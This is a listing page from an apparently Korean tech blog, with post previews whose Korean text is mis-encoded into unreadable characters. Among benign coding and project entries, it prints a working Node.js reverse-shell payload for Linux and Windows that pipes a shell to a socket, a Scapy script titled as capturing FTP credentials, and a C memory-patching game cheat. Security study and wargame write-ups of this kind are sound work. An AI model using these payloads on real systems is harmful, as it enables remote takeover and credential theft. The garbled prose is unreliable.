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๋ฐฑ์ค€ - ๋™์ „ 0(๊ทธ๋ฆฌ๋”” ์•Œ๊ณ ๋ฆฌ์ฆ˜), ํŒŒ์ด์ฌ & C https://www.acmicpc.net/problem/11047 11047๋ฒˆ: ๋™์ „ 0 ์ฒซ์งธ ์ค„์— N๊ณผ K๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. (1 ≤ N ≤ 10, 1 ≤ K ≤ 100,000,000) ๋‘˜์งธ ์ค„๋ถ€ํ„ฐ N๊ฐœ์˜ ์ค„์— ๋™์ „์˜ ๊ฐ€์น˜ Ai๊ฐ€ ์˜ค๋ฆ„์ฐจ์ˆœ์œผ๋กœ ์ฃผ์–ด์ง„๋‹ค. (1 ≤ Ai ≤ 1,000,000, A1 = 1, i ≥ 2์ธ ๊ฒฝ์šฐ์— Ai๋Š” Ai-1์˜ ๋ฐฐ์ˆ˜) www.acmicpc.net [ํŒŒ์ด์ฌ] N, K = map(int, input().split()) coins = [] count = 0 for _ in range(N): coins.append( int( input() ) ) idx = len( coins ) - 1 while K > 0: if ( K - coins[idx] ) >= 0 : count += 1 K.. 2021. 12. 5.
Scapy - Scapy๋กœ ftp ๊ณ„์ • ์ •๋ณด ์•Œ์•„๋‚ด๊ธฐ #!/usr/bin/python from scapy.all import* protocols = {1:'ICMP', 6:'TCP', 17:'UDP'} def showPacket(packet): src_ip = packet[0][1].src dst_ip = packet[0][1].dst proto = packet[0][1].proto if proto in protocols: print( "protocol: %s: %s -> %s" %(protocols[proto], src_ip, dst_ip) ) print( "data: ", packet[0][1].payload ) if proto == 1: print( "TYPE: [%d], CODE[%d]" %(packet[0][2].type, packet[0][2]... 2021. 12. 5.
Scapy - Scapy๋กœ ์ง€๋‚˜๊ฐ€๋Š” ํŒจํ‚ท ํ™•์ธํ•˜๊ธฐ #!/usr/bin/python from scapy.all import* protocols = {1:'ICMP', 6:'TCP', 17:'UDP'} def showPacket(packet): src_ip = packet[0][1].src dst_ip = packet[0][1].dst proto = packet[0][1].proto if proto in protocols: print( "protocol: %s: %s -> %s" %(protocols[proto], src_ip, dst_ip) ) if proto == 1: print( "TYPE: [%d], CODE[%d]" %(packet[0][2].type, packet[0][2].code) ) def sniffing(filter): sniff(filt.. 2021. 12. 5.
Node.js - ๋ฆฌ๋ฒ„์Šค์‰˜ [Linux] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(5050, "127.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); [Windows] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("C:\\Windows\\system32\\cm.. 2021. 12. 4.
๋‚ ์”จ๋ฅผ ์–ผ๊ตด๋กœ ํ™•์ธํ•˜๋Š” ์›น ์•ฑํ”Œ๋ฆฌ์ผ€์ด์…˜ KaoWeather https://kaoweather.web.app/ Kaoweather: ๋‚ ์”จ ์•Œ๋ฆฌ๋ฏธ kaoweather.web.app ์–ผ๊ตด(kao) ์ด๋ชจ์ง€๋ฅผ ํ†ตํ•ด ํ˜„์žฌ ๋‚ ์”จ๋ฅผ ๋ฐ”๋กœ ํ™•์ธํ•˜๋Š” ์›น ์•ฑํ”Œ๋ฆฌ์ผ€์ด์…˜์ž…๋‹ˆ๋‹ค. ๋ฆฌ์•กํŠธ๋ฅผ ์ด์šฉํ•ด์„œ ๋งŒ๋“ค์—ˆ์œผ๋ฉฐ, ๋ฌด๋ฃŒ ๋‚ ์”จ API OpenWeather์˜ API๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค. (https://openweathermap.org/api) ๊นƒํ—ˆ๋ธŒ: https://github.com/Logic-01001010/KaoWeather GitHub - Logic-01001010/KaoWeather: ๋ฆฌ์•กํŠธ ๊ธฐ๋ฐ˜ ์ด๋ชจํ‹ฐ์ฝ˜ ๋‚ ์”จ ์•Œ๋ฆผ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฆฌ์•กํŠธ ๊ธฐ๋ฐ˜ ์ด๋ชจํ‹ฐ์ฝ˜ ๋‚ ์”จ ์•Œ๋ฆผ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜. Contribute to Logic-01001010/KaoWeather development by creati.. 2021. 12. 4.
๊ฐ„๋‹จ ์›น ๋ฉ”๋ชจ์žฅ Netpad https://logic-01001010.github.io/netpad/ React App logic-01001010.github.io localStorage ๋ฐฉ์‹์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•˜๋Š” ์ดˆ ๊ฐ„๋‹จ ๋ฉ”๋ชจ์žฅ์ž…๋‹ˆ๋‹ค. React.js๋กœ ๋งŒ๋“ค์–ด๋ณด์•˜์Šต๋‹ˆ๋‹ค. ๊นƒํ—ˆ๋ธŒ: https://github.com/Logic-01001010/netpad GitHub - Logic-01001010/netpad: ๋ฆฌ์•กํŠธ ๊ฐ„๋‹จ ๋ฉ”๋ชจ์žฅ ๋ฆฌ์•กํŠธ ๊ฐ„๋‹จ ๋ฉ”๋ชจ์žฅ. Contribute to Logic-01001010/netpad development by creating an account on GitHub. github.com 2021. 12. 4.
์• ํ”Œ์Šคํ† ์–ด ํด๋ก  ์ฝ”๋”ฉ https://applestoreclone.web.app/index.html AppleStore applestoreclone.web.app ์›นํ”„๋กœ๊ทธ๋ž˜๋ฐ ์ˆ˜์—…์—์„œ ํŒ€์›๋“ค๊ณผ ํ•จ๊ป˜ ๋งŒ๋“ค์–ด๋ณธ ํด๋ก  ์• ํ”Œ ์‚ฌ์ดํŠธ์ž…๋‹ˆ๋‹ค. ์‹ค์ œ๋กœ๋Š” ์ž๋ฐ” ํ†ฐ์บฃ์œผ๋กœ ์›น์„œ๋ฒ„๋ฅผ ๊ตฌ๋™ํ•˜์ง€๋งŒ, ๋”ฐ๋กœ ์ •์ ํŒŒ์ผ ํ˜•ํƒœ๋กœ ๋งŒ๋“ค์–ด์„œ ํŒŒ์ด์–ด๋ฒ ์ด์Šค์— ์˜ฌ๋ ค๋ณด์•˜์Šต๋‹ˆ๋‹ค. ์—…๋กœ๋“œํ•œ ์‚ฌ์ดํŠธ๋Š” ๋งŽ์ด(?) ๊ตฌ๋ฒ„์ „์ž…๋‹ˆ๋‹ค. 2021. 12. 4.
ํ•ด์•ผํ•  ์ผ๋“ค์„ ๋ฉ”๋ชจํ•˜๋Š” ์‚ฌ์ดํŠธ Todos https://logic-01001010.github.io/Todos/index.html TODOS logic-01001010.github.io ์‚ฌ์šฉ ์–ธ์–ด: HTML/CSS/JS ํ”„๋ ˆ์ž„์›Œํฌ: ๋ถ€ํŠธ์ŠคํŠธ๋žฉ ๋“ฑ๋กํ•˜๋Š” todo๋“ค์€ ์„œ๋ฒ„๋กœ ์ „๋‹ฌ์„ ํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹Œ, ๋กœ์ปฌ์—์„œ ์ €์žฅํ•˜๋Š” ๋ฐฉ์‹์ธ localStorage๋กœ ์ €์žฅ์„ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊นƒํ—ˆ๋ธŒ: https://github.com/Logic-01001010/Todos GitHub - Logic-01001010/Todos: ๊ฐ‘์ž๊ธฐ ๋งŒ๋“ค๊ณ  ์‹ถ์–ด์„œ ๋งŒ๋“ค์–ด๋ณธ Todo List ๊ฐ‘์ž๊ธฐ ๋งŒ๋“ค๊ณ  ์‹ถ์–ด์„œ ๋งŒ๋“ค์–ด๋ณธ Todo List. Contribute to Logic-01001010/Todos development by creating an account .. 2021. 12. 4.
๋žœ๋ค ๋น„๋ฐ€๋ฒˆํ˜ธ ์ƒ์„ฑ ์‚ฌ์ดํŠธ pa$$w0rdMaker https://thepasswordmaker.web.app/ PasswordMaker thepasswordmaker.web.app ์‚ฌ์šฉ ์–ธ์–ด: HTML/CSS/JS ํ˜ธ์ŠคํŒ… ์„œ๋ฒ„: firebase hosting ์„ค์ •ํ•œ ๊ฐ’์„ ๊ธฐ์ค€์œผ๋กœ ๋ฌด์ž‘์œ„์˜ ํŒจ์Šค์›Œ๋“œ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์ค๋‹ˆ๋‹ค. ์ƒ์„ฑ์„ ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ๋”ฐ๋กœ txt ํŒŒ์ผ ํ˜•ํƒœ๋กœ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋„๋ก ๋งŒ๋“ค์–ด๋ณด์•˜์Šต๋‹ˆ๋‹ค. ๊นƒํ—ˆ๋ธŒ: https://github.com/Logic-01001010/passwordMaker GitHub - Logic-01001010/passwordMaker: HTML, CSS, JAVASCRIPT๋กœ ๋งŒ๋“  ๋žœ๋ค ๋น„๋ฐ€๋ฒˆํ˜ธ ์ƒ์„ฑ ์‚ฌ์ดํŠธ HTML, CSS, JAVASCRIPT๋กœ ๋งŒ๋“  ๋žœ๋ค ๋น„๋ฐ€๋ฒˆํ˜ธ ์ƒ์„ฑ ์‚ฌ์ดํŠธ. Contribute to Logic-0100101.. 2021. 12. 4.
๊ฒŒ์ž„ ํ•ดํ‚น - ํ”ผ์นด์ธ„ ๋ฐฐ๊ตฌ ํ•ต(C) #include #include int make_envincible(HANDLE hProcess) { // ์ ์ˆ˜ ๋ชฐ๋นต LPVOID base = (LPVOID)0x00403C4A; BYTE buffer[4] = {0xFF, 0x46, 0x40, 0x90}; // 1P: 0xFF, 0x46, 0x3C, 0x90 | 2P: 0xFF, 0x46, 0x40, 0x90 BOOL is_successed = WriteProcessMemory(hProcess, base, buffer, 4, NULL); // ์—”๋“œ๋ฆฌ์Šค ๊ฒŒ์ž„ base = (LPVOID)0x00403C27; BYTE buffer2[2] = {0x74, 0x76}; is_successed = WriteProcessMemory(hProcess, base, buf.. 2021. 12. 3.
Dreamhack - ์›Œ๊ฒŒ์ž„, rev-basic-2 ํ’€์ด https://dreamhack.io/wargame/challenges/16/ rev-basic-2 Reversing Basic Challenge #2 ์ด ๋ฌธ์ œ๋Š” ์‚ฌ์šฉ์ž์—๊ฒŒ ๋ฌธ์ž์—ด ์ž…๋ ฅ์„ ๋ฐ›์•„ ์ •ํ•ด์ง„ ๋ฐฉ๋ฒ•์œผ๋กœ ์ž…๋ ฅ๊ฐ’์„ ๊ฒ€์ฆํ•˜์—ฌ correct ๋˜๋Š” wrong์„ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์ด ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ถ„์„ํ•˜์—ฌ correct๋ฅผ ์ถœ dreamhack.io ์ด๋ฒˆ์—๋Š” ๋ฐฐ์—ด์„ ๋น„๊ตํ•ด๊ฐ€๋ฉด์„œ ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ๋ฌธ์ž์—ด์ด ์žฅ๋‹ต ๋ฐฐ์—ด์ด ๊ฐ€์ง€๊ณ  ์žˆ๋Š” ๋ฌธ์ž์™€ ๋˜‘๊ฐ™์€์ง€๋ฅผ ๋น„๊ตํ•˜๋Š” ์›๋ฆฌ์˜€๋‹ค. ์ด๋ ‡๊ฒŒ ์ฃผ์„์„ ์ ์–ด๊ฐ€๋ฉด์„œ ํ•˜๋ฉด ์ดํ•ดํ•˜๊ธฐ๊ฐ€ ์‰ฝ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์ด ๊ณ„์†ํ•ด์„œ ์ฐธ์กฐํ•˜๋Š” ์ € ๋ฐฐ์—ด์˜ ์ฃผ์†Œ๋ฅผ ๋คํ”„ ์ฐฝ์—์„œ ๋”ฐ๋ผ๊ฐ€ ๋ณด์•˜๋”๋‹ˆ "Comp4re_the_arr4y"๋ผ๊ณ  ๋ฐฐ์—ด์ด ๊ฐ 4๋ฐ”์ดํŠธ ๋–จ์–ด์ง„ ๊ฐ„๊ฒฉ์œผ๋กœ ์ €์žฅ์ด ๋˜์–ด์žˆ์—ˆ๋‹ค. ๊ทธ๋ ‡๊ธฐ ๋•Œ๋ฌธ์— cmp .. 2021. 12. 3.
DevOps - Git ๋ธŒ๋žœ์น˜ ๊ฐ€์ ธ์˜ค๊ธฐ [์›๊ฒฉ ์ €์žฅ์†Œ ๋ธŒ๋žœ์น˜ ํ™•์ธ]git branch -r  [๋ธŒ๋žœ์น˜ ์‚ญ์ œ]git branch -d {๋ธŒ๋žœ์น˜ ์ด๋ฆ„}  [๊ฐ€์ ธ์˜ค๊ธฐ]git checkout -t origin/{๋ธŒ๋žœ์น˜ ์ด๋ฆ„}git checkout -f -t origin/{๋ธŒ๋žœ์น˜ ์ด๋ฆ„}  ์ถœ์ฒ˜: https://yztech.tistory.com/32 git ๋ธŒ๋žœ์น˜: ๊ฐ€์ ธ์˜ค๊ธฐ, ํ•ฉ์น˜๊ธฐ, ์‚ญ์ œํ•˜๊ธฐ์ด๋ฒˆ์—๋Š” git์˜ ๋ธŒ๋žœ์น˜ ๊ด€๋ จ ๋ช…๋ น๋“ค์„ ์•Œ์•„๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. ๋ธŒ๋žœ์น˜๋Š” ๋™์ผํ•œ ์†Œ์Šค๋ฅผ ๊ธฐ๋ฐ˜์—์„œ ๋‹ค์–‘ํ•œ ๋ฒ„์ „์„ ๋งŒ๋“ค์–ด ๋‚ผ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์œผ๋กœ, ์—ฌ๋Ÿฌ ์‚ฌ๋žŒ์ด ๋™์‹œ์— ์ž‘์—…์„ ํ•˜๊ฑฐ๋‚˜, ์กฐ๊ธˆ์”ฉ ๋‹ค๋ฅธ ๋ฒ„์ „์„ ๋งŒyztech.tistory.com 2021. 12. 2.
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